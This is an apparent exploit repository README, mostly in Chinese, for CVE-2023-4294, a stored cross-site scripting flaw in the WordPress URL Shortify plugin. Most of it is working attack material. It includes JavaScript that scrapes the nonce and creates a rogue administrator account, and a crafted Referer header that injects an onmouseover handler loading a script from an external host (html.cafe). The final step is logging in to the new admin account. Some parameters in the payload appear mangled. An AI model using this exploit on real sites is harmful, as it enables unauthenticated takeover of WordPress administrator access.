
Repository for CVE-2023-4294 vulnerability.
CVE ID: CVE-2023-4294
漏洞类型: 跨站脚本 (Cross-Site Scripting)
描述: WordPress 的 URL Shortify 插件版本至 1.7.5(含)存在存储型跨站脚本漏洞,原因是通过 referrer 头传递的数据未进行充分的输入清理和输出转义。这使得未认证的攻击者能够在页面中注入任意 Web 脚本,当用户访问被注入的页面时脚本会执行。
复现步骤:
1. 在界面 <host>/wp-admin/admin.php?page=us_links&action=new 中添加一个新的短链接,本例中为:
<host>/mr83
2. 准备一段 JavaScript 代码,该代码将自动向网站添加具有管理员权限的新用户,并将其托管在外部资源上,例如 html.cafe。
const url = 'https://<host>/wp-admin/user-new.php';fetch(url).then(response => response.text()).then(html => {const parser = new DOMParser();const doc = parser.parseFromString(html, 'text/html');const nonceValue = doc.getElementById('_wpnonce_create-user').value;const requestOptions = {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: `action=createuser&_wpnonce_create-user=${encodeURIComponent(nonceValue)}&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=administrator&email [email protected]&first_name=&last_name=&url=&pass1=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&pass2=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&send_user_notification=0&role=admin &ure_other_roles=&createuser =Add+New+User`};return fetch(url, requestOptions);});
3. 发送带有精心构造的 Referer 头值的请求。
GET /mr83 HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Referer: https://example.com'abc=""onmouseover='var scriptElement=document.createElement(`script`);scriptElement.src=`https://html.cafe/x…d`;document.head .appendChild(scriptElement);
Connection: close
4. 等待管理员与已创建链接的统计信息中易受攻击的“Referer”字段交互。
<host>/wp-admin/admin.php?page=us_links&action=statistics&_wpnonce=5252159b66&id=1
5. 登录到新创建的管理员账户。
参考: